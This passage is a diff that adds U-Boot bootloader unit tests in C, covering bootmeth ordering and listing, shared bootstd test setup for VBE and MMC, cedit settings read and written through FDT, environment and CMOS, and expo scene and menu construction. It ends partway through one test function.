@@ -0,0 +1,173 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for bootdev functions. All start with 'bootmeth'
+ *
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <bootmeth.h>
+#include <bootstd.h>
+#include <dm.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include "bootstd_common.h"
+
+/* Check 'bootmeth list' command */
+static int bootmeth_cmd_list(struct unit_test_state *uts)
+{
+ console_record_reset_enable();
+ ut_assertok(run_command("bootmeth list", 0));
+ ut_assert_nextline("Order Seq Name Description");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 0 extlinux Extlinux boot from a block device");
+ ut_assert_nextline(" 1 1 efi EFI boot from an .efi file");
+ if (IS_ENABLED(CONFIG_BOOTMETH_GLOBAL))
+ ut_assert_nextline(" glob 2 firmware0 VBE simple");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(IS_ENABLED(CONFIG_BOOTMETH_GLOBAL) ?
+ "(3 bootmeths)" : "(2 bootmeths)");
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootmeth_cmd_list, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootmeth order' command */
+static int bootmeth_cmd_order(struct unit_test_state *uts)
+{
+ /* Select just one bootmethod */
+ console_record_reset_enable();
+ ut_assertok(run_command("bootmeth order extlinux", 0));
+ ut_assert_console_end();
+ ut_assertnonnull(env_get("bootmeths"));
+ ut_asserteq_str("extlinux", env_get("bootmeths"));
+
+ /* Only that one should be listed */
+ ut_assertok(run_command("bootmeth list", 0));
+ ut_assert_nextline("Order Seq Name Description");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 0 extlinux Extlinux boot from a block device");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(1 bootmeth)");
+ ut_assert_console_end();
+
+ /* Check the -a flag, efi should show as not in the order ("-") */
+ ut_assertok(run_command("bootmeth list -a", 0));
+ ut_assert_nextline("Order Seq Name Description");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 0 extlinux Extlinux boot from a block device");
+ ut_assert_nextline(" - 1 efi EFI boot from an .efi file");
+ if (IS_ENABLED(CONFIG_BOOTMETH_GLOBAL))
+ ut_assert_nextline(" glob 2 firmware0 VBE simple");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(IS_ENABLED(CONFIG_BOOTMETH_GLOBAL) ?
+ "(3 bootmeths)" : "(2 bootmeths)");
+ ut_assert_console_end();
+
+ /* Check the -a flag with the reverse order */
+ ut_assertok(run_command("bootmeth order \"efi extlinux\"", 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("bootmeth list -a", 0));
+ ut_assert_nextline("Order Seq Name Description");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 1 0 extlinux Extlinux boot from a block device");
+ ut_assert_nextline(" 0 1 efi EFI boot from an .efi file");
+ if (IS_ENABLED(CONFIG_BOOTMETH_GLOBAL))
+ ut_assert_nextline(" glob 2 firmware0 VBE simple");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(IS_ENABLED(CONFIG_BOOTMETH_GLOBAL) ?
+ "(3 bootmeths)" : "(2 bootmeths)");
+ ut_assert_console_end();
+
+ /* Now reset the order to empty, which should show all of them again */
+ ut_assertok(run_command("bootmeth order", 0));
+ ut_assert_console_end();
+ ut_assertnull(env_get("bootmeths"));
+ ut_assertok(run_command("bootmeth list", 0));
+ ut_assert_skip_to_line(IS_ENABLED(CONFIG_BOOTMETH_GLOBAL) ?
+ "(3 bootmeths)" : "(2 bootmeths)");
+
+ /* Try reverse order */
+ ut_assertok(run_command("bootmeth order \"efi extlinux\"", 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("bootmeth list", 0));
+ ut_assert_nextline("Order Seq Name Description");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 1 efi EFI boot from an .efi file");
+ ut_assert_nextline(" 1 0 extlinux Extlinux boot from a block device");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(2 bootmeths)");
+ ut_assertnonnull(env_get("bootmeths"));
+ ut_asserteq_str("efi extlinux", env_get("bootmeths"));
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootmeth_cmd_order, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootmeth order' command with global bootmeths */
+static int bootmeth_cmd_order_glob(struct unit_test_state *uts)
+{
+ if (!IS_ENABLED(CONFIG_BOOTMETH_GLOBAL))
+ return -EAGAIN;
+
+ console_record_reset_enable();
+ ut_assertok(run_command("bootmeth order \"efi firmware0\"", 0));
+ ut_assert_console_end();
+ ut_assertok(run_command("bootmeth list", 0));
+ ut_assert_nextline("Order Seq Name Description");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline(" 0 1 efi EFI boot from an .efi file");
+ ut_assert_nextline(" glob 2 firmware0 VBE simple");
+ ut_assert_nextlinen("---");
+ ut_assert_nextline("(2 bootmeths)");
+ ut_assertnonnull(env_get("bootmeths"));
+ ut_asserteq_str("efi firmware0", env_get("bootmeths"));
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootmeth_cmd_order_glob, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check 'bootmeths' env var */
+static int bootmeth_env(struct unit_test_state *uts)
+{
+ struct bootstd_priv *std;
+
+ ut_assertok(bootstd_get_priv(&std));
+
+ /* Select just one bootmethod */
+ console_record_reset_enable();
+ ut_assertok(env_set("bootmeths", "extlinux"));
+ ut_asserteq(1, std->bootmeth_count);
+
+ /* Select an invalid bootmethod */
+ ut_asserteq(1, run_command("setenv bootmeths fred", 0));
+ ut_assert_nextline("Unknown bootmeth 'fred'");
+ ut_assert_nextlinen("## Error inserting");
+ ut_assert_console_end();
+
+ ut_assertok(env_set("bootmeths", "efi extlinux"));
+ ut_asserteq(2, std->bootmeth_count);
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(bootmeth_env, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check the get_state_desc() method */
+static int bootmeth_state(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ char buf[50];
+
+ ut_assertok(uclass_first_device_err(UCLASS_BOOTMETH, &dev));
+ ut_assertnonnull(dev);
+
+ ut_assertok(bootmeth_get_state_desc(dev, buf, sizeof(buf)));
+ ut_asserteq_str("OK", buf);
+
+ return 0;
+}
+BOOTSTD_TEST(bootmeth_state, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
diff --git a/test/boot/bootstd_common.c b/test/boot/bootstd_common.c
new file mode 100644
index 00000000000..e50539500a0
--- /dev/null
+++ b/test/boot/bootstd_common.c
@@ -0,0 +1,105 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Test for bootdev functions. All start with 'bootdev'
+ *
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <bootdev.h>
+#include <bootstd.h>
+#include <dm.h>
+#include <memalign.h>
+#include <mmc.h>
+#include <linux/log2.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include <u-boot/crc.h>
+#include "bootstd_common.h"
+
+/* tracks whether bootstd_setup_for_tests() has been run yet */
+bool vbe_setup_done;
+
+/* set up MMC for VBE tests */
+int bootstd_setup_for_tests(void)
+{
+ ALLOC_CACHE_ALIGN_BUFFER(u8, buf, MMC_MAX_BLOCK_LEN);
+ struct udevice *mmc;
+ struct blk_desc *desc;
+ int ret;
+
+ if (vbe_setup_done)
+ return 0;
+
+ /* Set up the version string */
+ ret = uclass_get_device(UCLASS_MMC, 1, &mmc);
+ if (ret)
+ return log_msg_ret("mmc", -EIO);
+ desc = blk_get_by_device(mmc);
+
+ memset(buf, '\0', MMC_MAX_BLOCK_LEN);
+ strcpy(buf, TEST_VERSION);
+ if (blk_dwrite(desc, VERSION_START_BLK, 1, buf) != 1)
+ return log_msg_ret("wr1", -EIO);
+
+ /* Set up the nvdata */
+ memset(buf, '\0', MMC_MAX_BLOCK_LEN);
+ buf[1] = ilog2(0x40) << 4 | 1;
+ *(u32 *)(buf + 4) = TEST_VERNUM;
+ buf[0] = crc8(0, buf + 1, 0x3f);
+ if (blk_dwrite(desc, NVDATA_START_BLK, 1, buf) != 1)
+ return log_msg_ret("wr2", -EIO);
+
+ vbe_setup_done = true;
+
+ return 0;
+}
+
+int bootstd_test_drop_bootdev_order(struct unit_test_state *uts)
+{
+ struct bootstd_priv *priv;
+ struct udevice *bootstd;
+
+ ut_assertok(uclass_first_device_err(UCLASS_BOOTSTD, &bootstd));
+ priv = dev_get_priv(bootstd);
+ priv->bootdev_order = NULL;
+
+ return 0;
+}
+
+int bootstd_test_check_mmc_hunter(struct unit_test_state *uts)
+{
+ struct bootdev_hunter *start, *mmc;
+ struct bootstd_priv *std;
+ uint seq;
+
+ if (!IS_ENABLED(CONFIG_MMC))
+ return 0;
+
+ /* get access to the used hunters */
+ ut_assertok(bootstd_get_priv(&std));
+
+ /* check that the hunter was used */
+ start = ll_entry_start(struct bootdev_hunter, bootdev_hunter);
+ mmc = BOOTDEV_HUNTER_GET(mmc_bootdev_hunter);
+ seq = mmc - start;
+ ut_asserteq(BIT(seq), std->hunters_used);
+
+ return 0;
+}
+
+int do_ut_bootstd(struct cmd_tbl *cmdtp, int flag, int argc, char *const argv[])
+{
+ struct unit_test *tests = UNIT_TEST_SUITE_START(bootstd_test);
+ const int n_ents = UNIT_TEST_SUITE_COUNT(bootstd_test);
+ int ret;
+
+ ret = bootstd_setup_for_tests();
+ if (ret) {
+ printf("Failed to set up for bootstd tests (err=%d)\n", ret);
+ return CMD_RET_FAILURE;
+ }
+
+ return cmd_ut_category("bootstd", "bootstd_test_",
+ tests, n_ents, argc, argv);
+}
diff --git a/test/boot/bootstd_common.h b/test/boot/bootstd_common.h
new file mode 100644
index 00000000000..4a126e43ff4
--- /dev/null
+++ b/test/boot/bootstd_common.h
@@ -0,0 +1,56 @@
+/* SPDX-License-Identifier: GPL-2.0+ */
+/*
+ * Common header file for bootdev, bootflow, bootmeth tests
+ *
+ * Copyright 2021 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#ifndef __bootstd_common_h
+#define __bootstd_common_h
+
+#include <version_string.h>
+
+/* Declare a new bootdev test */
+#define BOOTSTD_TEST(_name, _flags) \
+ UNIT_TEST(_name, _flags, bootstd_test)
+
+#define NVDATA_START_BLK ((0x400 + 0x400) / MMC_MAX_BLOCK_LEN)
+#define VERSION_START_BLK ((0x400 + 0x800) / MMC_MAX_BLOCK_LEN)
+#define TEST_VERSION "U-Boot v2022.04-local2"
+#define TEST_VERNUM 0x00010002
+
+enum {
+ MAX_HUNTER = 9,
+ MMC_HUNTER = 3, /* ID of MMC hunter */
+};
+
+struct unit_test_state;
+
+/**
+ * bootstd_test_drop_bootdev_order() - Remove the existing boot order
+ *
+ * Drop the boot order so that all bootdevs are used in their alias order
+ *
+ * @uts: Unit test state to use for ut_assert...() functions
+ */
+int bootstd_test_drop_bootdev_order(struct unit_test_state *uts);
+
+/**
+ * bootstd_setup_for_tests() - Set up MMC data for VBE tests
+ *
+ * Some data is needed for VBE tests to work. This function sets that up.
+ *
+ * @return 0 if OK, -ve on error
+ */
+int bootstd_setup_for_tests(void);
+
+/**
+ * bootstd_test_check_mmc_hunter() - Check that the mmc bootdev hunter was used
+ *
+ * @uts: Unit test state to use for ut_assert...() functions
+ * Returns: 0 if OK (used), other value on error (not used)
+ */
+int bootstd_test_check_mmc_hunter(struct unit_test_state *uts);
+
+#endif
diff --git a/test/boot/cedit.c b/test/boot/cedit.c
new file mode 100644
index 00000000000..fd19da0a0c0
--- /dev/null
+++ b/test/boot/cedit.c
@@ -0,0 +1,221 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2023 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <cedit.h>
+#include <env.h>
+#include <expo.h>
+#include <mapmem.h>
+#include <dm/ofnode.h>
+#include <test/ut.h>
+#include "bootstd_common.h"
+#include <test/cedit-test.h>
+#include "../../boot/scene_internal.h"
+
+/* Check the cedit command */
+static int cedit_base(struct unit_test_state *uts)
+{
+ extern struct expo *cur_exp;
+ struct scene_obj_menu *menu;
+ struct scene_obj_txt *txt;
+ struct expo *exp;
+ struct scene *scn;
+
+ ut_assertok(run_command("cedit load hostfs - cedit.dtb", 0));
+
+ console_record_reset_enable();
+
+ /*
+ * ^N Move down to second menu
+ * ^M Open menu
+ * ^N Move down to second item
+ * ^M Select item
+ * \e Quit
+ */
+ console_in_puts("\x0e\x0d\x0e\x0d\e");
+ ut_assertok(run_command("cedit run", 0));
+
+ exp = cur_exp;
+ scn = expo_lookup_scene_id(exp, exp->scene_id);
+ ut_assertnonnull(scn);
+
+ menu = scene_obj_find(scn, scn->highlight_id, SCENEOBJT_NONE);
+ ut_assertnonnull(menu);
+
+ txt = scene_obj_find(scn, menu->title_id, SCENEOBJT_NONE);
+ ut_assertnonnull(txt);
+ ut_asserteq_str("AC Power", expo_get_str(exp, txt->str_id));
+
+ ut_asserteq(ID_AC_ON, menu->cur_item_id);
+
+ return 0;
+}
+BOOTSTD_TEST(cedit_base, 0);
+
+/* Check the cedit write_fdt and read_fdt commands */
+static int cedit_fdt(struct unit_test_state *uts)
+{
+ struct scene_obj_textline *tline;
+ struct video_priv *vid_priv;
+ extern struct expo *cur_exp;
+ struct scene_obj_menu *menu;
+ ulong addr = 0x1000;
+ struct ofprop prop;
+ struct scene *scn;
+ oftree tree;
+ ofnode node;
+ char *str;
+ void *fdt;
+ int i;
+
+ console_record_reset_enable();
+ ut_assertok(run_command("cedit load hostfs - cedit.dtb", 0));
+
+ ut_asserteq(ID_SCENE1, cedit_prepare(cur_exp, &vid_priv, &scn));
+
+ /* get a menu to fiddle with */
+ menu = scene_obj_find(scn, ID_CPU_SPEED, SCENEOBJT_MENU);
+ ut_assertnonnull(menu);
+ menu->cur_item_id = ID_CPU_SPEED_2;
+
+ /* get a textline to fiddle with too */
+ tline = scene_obj_find(scn, ID_MACHINE_NAME, SCENEOBJT_TEXTLINE);
+ ut_assertnonnull(tline);
+ str = abuf_data(&tline->buf);
+ strcpy(str, "my-machine");
+
+ ut_assertok(run_command("cedit write_fdt hostfs - settings.dtb", 0));
+ ut_assertok(run_commandf("load hostfs - %lx settings.dtb", addr));
+ ut_assert_nextlinen("1024 bytes read");
+
+ fdt = map_sysmem(addr, 1024);
+ tree = oftree_from_fdt(fdt);
+ node = ofnode_find_subnode(oftree_root(tree), CEDIT_NODE_NAME);
+ ut_assert(ofnode_valid(node));
+
+ ut_asserteq(ID_CPU_SPEED_2,
+ ofnode_read_u32_default(node, "cpu-speed", 0));
+ ut_asserteq_str("2.5 GHz", ofnode_read_string(node, "cpu-speed-str"));
+ ut_asserteq_str("my-machine", ofnode_read_string(node, "machine-name"));
+
+ /* There should only be 5 properties */
+ for (i = 0, ofnode_first_property(node, &prop); ofprop_valid(&prop);
+ i++, ofnode_next_property(&prop))
+ ;
+ ut_asserteq(5, i);
+
+ ut_assert_console_end();
+
+ /* reset the expo */
+ menu->cur_item_id = ID_CPU_SPEED_1;
+ *str = '\0';
+
+ /* load in the settings and make sure they update */
+ ut_assertok(run_command("cedit read_fdt hostfs - settings.dtb", 0));
+ ut_asserteq(ID_CPU_SPEED_2, menu->cur_item_id);
+ ut_asserteq_str("my-machine", ofnode_read_string(node, "machine-name"));
+
+ ut_assertnonnull(menu);
+ ut_assert_console_end();
+
+ return 0;
+}
+BOOTSTD_TEST(cedit_fdt, 0);
+
+/* Check the cedit write_env and read_env commands */
+static int cedit_env(struct unit_test_state *uts)
+{
+ struct scene_obj_textline *tline;
+ struct video_priv *vid_priv;
+ extern struct expo *cur_exp;
+ struct scene_obj_menu *menu;
+ struct scene *scn;
+ char *str;
+
+ console_record_reset_enable();
+ ut_assertok(run_command("cedit load hostfs - cedit.dtb", 0));
+
+ ut_asserteq(ID_SCENE1, cedit_prepare(cur_exp, &vid_priv, &scn));
+
+ /* get a menu to fiddle with */
+ menu = scene_obj_find(scn, ID_CPU_SPEED, SCENEOBJT_MENU);
+ ut_assertnonnull(menu);
+ menu->cur_item_id = ID_CPU_SPEED_2;
+
+ /* get a textline to fiddle with too */
+ tline = scene_obj_find(scn, ID_MACHINE_NAME, SCENEOBJT_TEXTLINE);
+ ut_assertnonnull(tline);
+ str = abuf_data(&tline->buf);
+ strcpy(str, "my-machine");
+
+ ut_assertok(run_command("cedit write_env -v", 0));
+ ut_assert_nextlinen("c.cpu-speed=7");
+ ut_assert_nextlinen("c.cpu-speed-str=2.5 GHz");
+ ut_assert_nextlinen("c.power-loss=10");
+ ut_assert_nextlinen("c.power-loss-str=Always Off");
+ ut_assert_nextlinen("c.machine-name=my-machine");
+ ut_assert_console_end();
+
+ ut_asserteq(7, env_get_ulong("c.cpu-speed", 10, 0));
+ ut_asserteq_str("2.5 GHz", env_get("c.cpu-speed-str"));
+ ut_asserteq_str("my-machine", env_get("c.machine-name"));
+
+ /* reset the expo */
+ menu->cur_item_id = ID_CPU_SPEED_1;
+ *str = '\0';
+
+ ut_assertok(run_command("cedit read_env -v", 0));
+ ut_assert_nextlinen("c.cpu-speed=7");
+ ut_assert_nextlinen("c.power-loss=10");
+ ut_assert_nextlinen("c.machine-name=my-machine");
+ ut_assert_console_end();
+
+ ut_asserteq(ID_CPU_SPEED_2, menu->cur_item_id);
+ ut_asserteq_str("my-machine", env_get("c.machine-name"));
+
+ return 0;
+}
+BOOTSTD_TEST(cedit_env, 0);
+
+/* Check the cedit write_cmos and read_cmos commands */
+static int cedit_cmos(struct unit_test_state *uts)
+{
+ struct scene_obj_menu *menu, *menu2;
+ struct video_priv *vid_priv;
+ extern struct expo *cur_exp;
+ struct scene *scn;
+
+ console_record_reset_enable();
+ ut_assertok(run_command("cedit load hostfs - cedit.dtb", 0));
+
+ ut_asserteq(ID_SCENE1, cedit_prepare(cur_exp, &vid_priv, &scn));
+
+ /* get the menus to fiddle with */
+ menu = scene_obj_find(scn, ID_CPU_SPEED, SCENEOBJT_MENU);
+ ut_assertnonnull(menu);
+ menu->cur_item_id = ID_CPU_SPEED_2;
+
+ menu2 = scene_obj_find(scn, ID_POWER_LOSS, SCENEOBJT_MENU);
+ ut_assertnonnull(menu2);
+ menu2->cur_item_id = ID_AC_MEMORY;
+
+ ut_assertok(run_command("cedit write_cmos -v", 0));
+ ut_assert_nextlinen("Write 2 bytes from offset 80 to 84");
+ ut_assert_console_end();
+
+ /* reset the expo */
+ menu->cur_item_id = ID_CPU_SPEED_1;
+ menu2->cur_item_id = ID_AC_OFF;
+
+ ut_assertok(run_command("cedit read_cmos -v", 0));
+ ut_assert_nextlinen("Read 2 bytes from offset 80 to 84");
+ ut_assert_console_end();
+
+ ut_asserteq(ID_CPU_SPEED_2, menu->cur_item_id);
+ ut_asserteq(ID_AC_MEMORY, menu2->cur_item_id);
+
+ return 0;
+}
+BOOTSTD_TEST(cedit_cmos, 0);
diff --git a/test/boot/expo.c b/test/boot/expo.c
new file mode 100644
index 00000000000..6ea0184373d
--- /dev/null
+++ b/test/boot/expo.c
@@ -0,0 +1,715 @@
+// SPDX-License-Identifier: GPL-2.0+
+/*
+ * Copyright 2022 Google LLC
+ * Written by Simon Glass <sjg@chromium.org>
+ */
+
+#include <command.h>
+#include <dm.h>
+#include <expo.h>
+#include <menu.h>
+#include <video.h>
+#include <linux/input.h>
+#include <test/suites.h>
+#include <test/ut.h>
+#include "bootstd_common.h"
+#include <test/cedit-test.h>
+#include "../../boot/scene_internal.h"
+
+enum {
+ /* scenes */
+ SCENE1 = 7,
+ SCENE2,
+
+ /* objects */
+ OBJ_LOGO,
+ OBJ_TEXT,
+ OBJ_TEXT2,
+ OBJ_MENU,
+ OBJ_MENU_TITLE,
+
+ /* strings */
+ STR_SCENE_TITLE,
+
+ STR_TEXT,
+ STR_TEXT2,
+ STR_MENU_TITLE,
+ STR_POINTER_TEXT,
+
+ STR_ITEM1_LABEL,
+ STR_ITEM1_DESC,
+ STR_ITEM1_KEY,
+ STR_ITEM1_PREVIEW,
+
+ STR_ITEM2_LABEL,
+ STR_ITEM2_DESC,
+ STR_ITEM2_KEY,
+ STR_ITEM2_PREVIEW,
+
+ /* menu items */
+ ITEM1,
+ ITEM1_LABEL,
+ ITEM1_DESC,
+ ITEM1_KEY,
+ ITEM1_PREVIEW,
+
+ ITEM2,
+ ITEM2_LABEL,
+ ITEM2_DESC,
+ ITEM2_KEY,
+ ITEM2_PREVIEW,
+
+ /* pointer to current item */
+ POINTER_TEXT,
+};
+
+#define BAD_POINTER ((void *)1)
+
+/* names for various things */
+#define EXPO_NAME "my menus"
+#define SCENE_NAME1 "main"
+#define SCENE_NAME2 "second"
+#define SCENE_TITLE "Main Menu"
+#define LOGO_NAME "logo"
+
+/* Check base expo support */
+static int expo_base(struct unit_test_state *uts)
+{
+ struct udevice *dev;
+ struct expo *exp;
+ ulong start_mem;
+ char name[100];
+ int i;
+
+ ut_assertok(uclass_first_device_err(UCLASS_VIDEO, &dev));
+
+ start_mem = ut_check_free();
+
+ exp = NULL;
+ strcpy(name, EXPO_NAME);
+ ut_assertok(expo_new(name, NULL, &exp));
+ *name = '\0';
+ ut_assertnonnull(exp);
+ ut_asserteq(0, exp->scene_id);
+ ut_asserteq(0, exp->next_id);
+
+ /* Make sure the name was allocated */
+ ut_assertnonnull(exp->name);
+ ut_asserteq_str(EXPO_NAME, exp->name);
+
+ ut_assertok(expo_set_display(exp, dev));
+ expo_destroy(exp);
+ ut_assertok(ut_check_delta(start_mem));
+
+ /* test handling out-of-memory conditions */
+ for (i = 0; i < 2; i++) {
+ struct expo *exp2;
+
+ malloc_enable_testing(i);
+ exp2 = BAD_POINTER;
+ ut_asserteq(-ENOMEM, expo_new(EXPO_NAME, NULL, &exp2));
+ ut_asserteq_ptr(BAD_POINTER, exp2);
+ malloc_disable_testing();
+ }
+
+ return 0;
+}
+BOOTSTD_TEST(expo_base, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check creating a scene */
+static int expo_scene(struct unit_test_state *uts)
+{
+ struct scene *scn;
+ struct expo *exp;
+ ulong start_mem;
+ char name[100];
+ int id, title_id;
+
+ start_mem = ut_check_free();
+
+ ut_assertok(expo_new(EXPO_NAME, NULL, &exp));
+
+ scn = NULL;
+ ut_asserteq(0, exp->next_id);
+ strcpy(name, SCENE_NAME1);
+ id = scene_new(exp, name, SCENE1, &scn);
+ *name = '\0';
+ ut_assertnonnull(scn);
+ ut_asserteq(SCENE1, id);
+ ut_asserteq(SCENE1 + 1, exp->next_id);
+ ut_asserteq_ptr(exp, scn->expo);
+
+ /* Make sure the name was allocated */
+ ut_assertnonnull(scn->name);
+ ut_asserteq_str(SCENE_NAME1, scn->name);
+
+ /* Set the title */
+ title_id = expo_str(exp, "title", STR_SCENE_TITLE, SCENE_TITLE);
+ ut_assert(title_id >= 0);
+
+ /* Use an allocated ID - this will be allocated after the title str */
+ scn = NULL;
+ id = scene_new(exp, SCENE_NAME2, 0, &scn);
+ ut_assertnonnull(scn);
+ ut_assertok(scene_title_set(scn, title_id));
+ ut_asserteq(STR_SCENE_TITLE + 1, id);
+ ut_asserteq(STR_SCENE_TITLE + 2, exp->next_id);
+ ut_asserteq_ptr(exp, scn->expo);
+
+ ut_asserteq_str(SCENE_NAME2, scn->name);
+ ut_asserteq(title_id, scn->title_id);
+
+ expo_destroy(exp);
+
+ ut_assertok(ut_check_delta(start_mem));
+
+ return 0;
+}
+BOOTSTD_TEST(expo_scene, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check creating a scene with objects */
+static int expo_object(struct unit_test_state *uts)
+{
+ struct scene_obj_img *img;
+ struct scene_obj_txt *txt;
+ struct scene *scn;
+ struct expo *exp;
+ ulong start_mem;
+ char name[100];
+ char *data;
+ int id;
+
+ start_mem = ut_check_free();
+
+ ut_assertok(expo_new(EXPO_NAME, NULL, &exp));
+ id = scene_new(exp, SCENE_NAME1, SCENE1, &scn);
+ ut_assert(id > 0);
+
+ ut_asserteq(0, scene_obj_count(scn));
+
+ data = NULL;
+ strcpy(name, LOGO_NAME);
+ id = scene_img(scn, name, OBJ_LOGO, data, &img);
+ ut_assert(id > 0);
+ *name = '\0';
+ ut_assertnonnull(img);
+ ut_asserteq(OBJ_LOGO, id);
+ ut_asserteq(OBJ_LOGO + 1, exp->next_id);
+ ut_asserteq_ptr(scn, img->obj.scene);
+ ut_asserteq(SCENEOBJT_IMAGE, img->obj.type);
+
+ ut_asserteq_ptr(data, img->data);
+
+ /* Make sure the name was allocated */
+ ut_assertnonnull(scn->name);
+ ut_asserteq_str(SCENE_NAME1, scn->name);
+
+ ut_asserteq(1, scene_obj_count(scn));
+
+ id = scene_txt_str(scn, "text", OBJ_TEXT, STR_TEXT, "my string", &txt);
+ ut_assert(id > 0);
+ ut_assertnonnull(txt);
+ ut_asserteq(OBJ_TEXT, id);
+ ut_asserteq(SCENEOBJT_TEXT, txt->obj.type);
+ ut_asserteq(2, scene_obj_count(scn));
+
+ /* Check passing NULL as the final parameter */
+ id = scene_txt_str(scn, "text2", OBJ_TEXT2, STR_TEXT2, "another string",
+ NULL);
+ ut_assert(id > 0);
+ ut_asserteq(3, scene_obj_count(scn));
+
+ expo_destroy(exp);
+
+ ut_assertok(ut_check_delta(start_mem));
+
+ return 0;
+}
+BOOTSTD_TEST(expo_object, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/* Check setting object attributes and using themes */
+static int expo_object_attr(struct unit_test_state *uts)
+{
+ struct scene_obj_menu *menu;
+ struct scene_obj_img *img;
+ struct scene_obj_txt *txt;
+ struct scene *scn;
+ struct expo *exp;
+ ulong start_mem;
+ char name[100];
+ ofnode node;
+ char *data;
+ int id;
+
+ start_mem = ut_check_free();
+
+ ut_assertok(expo_new(EXPO_NAME, NULL, &exp));
+ id = scene_new(exp, SCENE_NAME1, SCENE1, &scn);
+ ut_assert(id > 0);
+
+ data = NULL;
+ id = scene_img(scn, LOGO_NAME, OBJ_LOGO, data, &img);
+ ut_assert(id > 0);
+
+ ut_assertok(scene_obj_set_pos(scn, OBJ_LOGO, 123, 456));
+ ut_asserteq(123, img->obj.dim.x);
+ ut_asserteq(456, img->obj.dim.y);
+
+ ut_asserteq(-ENOENT, scene_obj_set_pos(scn, OBJ_TEXT2, 0, 0));
+
+ id = scene_txt_str(scn, "text", OBJ_TEXT, STR_TEXT, "my string", &txt);
+ ut_assert(id > 0);
+
+ strcpy(name, "font2");
+ ut_assertok(scene_txt_set_font(scn, OBJ_TEXT, name, 42));
+ ut_asserteq_ptr(name, txt->font_name);
+ ut_asserteq(42, txt->font_size);
+
+ ut_asserteq(-ENOENT, scene_txt_set_font(scn, OBJ_TEXT2, name, 42));
+
+ id = scene_menu(scn, "main", OBJ_MENU, &menu);
+ ut_assert(id > 0);
+
+ ut_assertok(scene_menu_set_title(scn, OBJ_MENU, OBJ_TEXT));
+
+ ut_asserteq(-ENOENT, scene_menu_set_title(scn, OBJ_TEXT2, OBJ_TEXT));
+ ut_asserteq(-EINVAL, scene_menu_set_title(scn, OBJ_MENU, OBJ_TEXT2));
+
+ node = ofnode_path("/bootstd/theme");
+ ut_assert(ofnode_valid(node));
+ ut_assertok(expo_apply_theme(exp, node));
+ ut_asserteq(30, txt->font_size);
+
+ expo_destroy(exp);
+
+ ut_assertok(ut_check_delta(start_mem));
+
+ return 0;
+}
+BOOTSTD_TEST(expo_object_attr, UT_TESTF_DM | UT_TESTF_SCAN_FDT);
+
+/**
+ * struct test_iter_priv - private data for expo-iterator test
+ *
+ * @count: number of scene objects
+ * @menu_count: number of menus
+ * @fail_at: item ID at which to return an error
+ */
+struct test_iter_priv {
+ int count;
+ int menu_count;
+ int fail_at;
+};
+
+int h_test_iter(struct scene_obj *obj, void *vpriv)
+{
+ struct test_iter_priv *priv = vpriv;
+
+ if (priv->fail_at == obj->id)
+ return -EINVAL;
+
+ priv->count++;
+ if (obj->type == SCENEOBJT_MENU)
+ priv->menu_count++;
+
+ return 0;
+}
+
+/* Check creating a scene with a menu */
+static int expo_object_menu(struct unit_test_state *uts)
+{
+ struct scene_obj_menu *menu;
+ struct scene_menitem *item;
+ int id, label_id, desc_id, key_id, pointer_id, preview_id;
+ struct scene_obj_txt *ptr, *name1, *desc1, *key1, *tit, *prev1;
+ struct test_iter_priv priv;
+ struct scene *scn;
+ struct expo *exp;
+ ulong start_mem;
+
+ start_mem = ut_check_free();
+
+ ut_assertok(expo_new(EXPO_NAME, NULL, &exp));
+ id = scene_new(exp, SCENE_NAME1, SCENE1, &scn);
+ ut_assert(id > 0);
+
+ id = scene_menu(scn, "main", OBJ_MENU, &menu);
+ ut_assert(id > 0);
+ ut_assertnonnull(menu);
+ ut_asserteq(OBJ_MENU, id);
+ ut_asserteq(SCENEOBJT_MENU, menu->obj.type);
+ ut_asserteq(0, menu->title_id);
+ ut_asserteq(0, menu->pointer_id);
+
+ ut_assertok(scene_obj_set_pos(scn, OBJ_MENU, 50, 400));
+ ut_asserteq(50, menu->obj.dim.x);
+ ut_asserteq(400, menu->obj.dim.y);
+
+ id = scene_txt_str(scn, "title", OBJ_MENU_TITLE, STR_MENU_TITLE,
+ "Main Menu", &tit);
+ ut_assert(id > 0);
+ ut_assertok(scene_menu_set_title(scn, OBJ_MENU, OBJ_MENU_TITLE));
+ ut_asserteq(OBJ_MENU_TITLE, menu->title_id);
+
+ pointer_id = scene_txt_str(scn, "cur_item", POINTER_TEXT,
+ STR_POINTER_TEXT, ">", &ptr);
